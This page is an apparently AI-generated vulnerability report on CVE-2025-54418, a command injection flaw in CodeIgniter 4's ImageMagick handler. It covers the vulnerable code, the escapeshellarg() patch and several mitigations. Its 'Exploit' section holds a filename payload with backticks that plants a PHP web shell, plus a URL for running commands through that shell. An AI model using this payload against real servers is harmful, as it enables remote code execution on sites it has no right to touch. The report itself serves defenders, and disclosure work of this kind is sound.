CVEReports
Reports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Reports
  • Sitemap

Company

  • About
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Powered by Google Gemini & CVE Feed

|
•

CVE-2025-54418
CVSS 9.8|EPSS 0.25%

Shells in Your Selfies: CodeIgniter 4 ImageMagick RCE

Amit Schendel
Amit Schendel
Senior Security Researcher•July 28, 2025•5 min read
PoC AvailableNot in KEV

Executive Summary (TL;DR)

CodeIgniter 4 versions before 4.6.2 failed to sanitize inputs when wrapping the ImageMagick CLI. By uploading an image with a carefully crafted filename or using the text overlay feature, an attacker can break out of the command string and execute arbitrary shell commands on the server.

A critical OS Command Injection vulnerability in CodeIgniter 4's ImageMagick handler allows unauthenticated attackers to achieve Remote Code Execution (RCE) via malicious filenames or text overlays.

The Hook: Living Dangerously with `exec()`

Image processing in PHP is a tale of two cities. On one side, you have the GD library, which runs safely within the PHP process memory. On the other side, you have ImageMagick (Imagick). While there is a PHP extension for Imagick, many frameworks—including CodeIgniter—often fallback to or prefer using the command-line binary convert directly.

Why? Because it's easier to debug and doesn't require compiling extensions. But here lies the trap: whenever a web application constructs a shell command using user-supplied data, it is walking a tightrope over a pit of vipers.

CodeIgniter 4, a framework generally known for its robust defaults, slipped off that tightrope. In the ImageMagickHandler, they made the classic mistake of trusting that wrapping a variable in double quotes is the same thing as sanitizing it. Spoiler alert: It is not.

The Flaw: A Concatenation Catastrophe

The vulnerability resides in system/Images/Handlers/ImageMagickHandler.php. The handler's job is simple: take an image, resize it or add text, and save it. To do this, it builds a command string to pass to the operating system.

The logic flaw occurs in methods like _resize() and _text(). Instead of using PHP's built-in escapeshellarg()—which wraps arguments in single quotes and escapes existing single quotes—the developers opted for manual concatenation.

Here is the logic that doomed them:

// The source path usually comes from the uploaded file's name
$source = !empty($this->resource) ? $this->resource : $this->image()->getPathname();
 
// Constructing the command arguments manually
$action = $resizeOption . ' "' . $source . '" "' . $destination . '"';
 
// Passing it to exec()
$this->process($action);

The code wraps $source in double quotes. In a sane world, filenames are just alphanumeric strings. In the hacker's world, filenames are payloads. If an attacker can control the filename, they can inject shell metacharacters that function perfectly fine inside double quotes (like backticks) or break out of the quotes entirely.

The Code: The Smoking Gun

Let's look at the difference between the vulnerable code and the secure code. It is a textbook example of why built-in sanitization functions exist.

Before (Vulnerable):

// Variable interpolation inside double quotes does NOT protect against subshells
$cmd = $this->config->libraryPath . ' -quality ' . $quality . ' ' . $action;
@exec($cmd, $output, $retval);

If $action contains a filename like "image.jpg id ", the resulting command executed by the shell becomes:

convert -quality 90 -resize 100x100 "image.jpg id " "destination.jpg"

The backticks force the shell to execute id before the rest of the command.

After (Patched in 4.6.2):

The fix involves wrapping every single user-controlled input in escapeshellarg(). This function ensures that the shell treats the input strictly as a string literal, neutralizing backticks, semicolons, and dollar signs.

// Using escapeshellarg() neuters the payload
$action = $resizeOption . ' ' . escapeshellarg($source) . ' ' . escapeshellarg($destination);

The Exploit: Weaponizing a JPEG

To exploit this, we don't need a binary exploit or heap Feng Shui. We just need a file upload form that keeps the original filename, or a controller that reflects user input into the image text method.

The Attack Scenario:

  1. Recon: Identify a target running CodeIgniter 4. Verify if they use the imagick handler (often the default if gd is missing or configured manually).
  2. Weaponization: Create a valid image file. Rename it to contain a shell payload. Since Linux allows most characters in filenames, we can get creative.

Payload Filename: my_vacation_photo.jpg echo "<?=system($_GET['c']);?>" > shell.php ``

  1. Execution: Upload the file. The application receives the file, saves it to a temporary path (or moves it), and then calls $image->resize().

  2. Detonation: When CodeIgniter runs the resize command:

/usr/bin/convert ... "my_vacation_photo.jpg`echo "..." > shell.php`" ...

The shell sees the backticks, pauses the convert command, executes the echo command, creates shell.php in the public web root, and then resumes (likely failing the image conversion, but who cares? We have a shell).

  1. Persistence: Access https://target.com/shell.php?c=id and enjoy your uid=33(www-data).

The Fix: Stopping the Bleeding

If you are running CodeIgniter 4 < 4.6.2, you have three options.

Option 1: The Upgrade (Recommended) Update to version 4.6.2 immediately. The patch is robust and handles the escaping correctly.

Option 2: The Switch Change your image handler to GD. GD uses PHP's internal libraries (imagecreatefromjpeg, etc.) and does not shell out to the OS. It is immune to this class of vulnerability.

// app/Config/Images.php
public string $handler = 'gd';

Option 3: The Hardening If you absolutely must use an older version and Imagick, you must sanitize filenames before they touch the image library. Never trust $_FILES['userfile']['name']. Always generate a random alphanumeric string for the stored filename.

Official Patches

CodeIgniterOfficial Upgrade Guide

Fix Analysis (1)

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
0.25%
Top 100% most exploited
2,200,000
Estimated exposed hosts via BuiltWith / Shodan

Affected Systems

CodeIgniter 4 Framework

Affected Versions Detail

ProductAffected VersionsFixed Version
CodeIgniter 4
CodeIgniter Foundation
< 4.6.24.6.2
AttributeDetail
CWE IDCWE-78 (OS Command Injection)
CVSS v3.19.8 (Critical)
Attack VectorNetwork
Privileges RequiredNone
User InteractionNone
ImpactRemote Code Execution (RCE)

MITRE ATT&CK Mapping

MITRE ATT&CK Mapping

T1059.004Command and Scripting Interpreter: Unix Shell
Execution
T1190Exploit Public-Facing Application
Initial Access
CWE-78
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command.

Exploit Resources

Known Exploits & Detection

Manual ResearchResearchers demonstrated RCE by uploading files with shell metacharacters in the filename.

Vulnerability Timeline

Vulnerability Timeline

Vulnerability discovered by researcher vicevirus
2025-07-01
Reported to CodeIgniter Foundation
2025-07-15
CodeIgniter v4.6.2 released with patch
2025-07-28

References & Sources

  • [1]CodeIgniter 4 Security Advisory
  • [2]OWASP Command Injection Overview

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.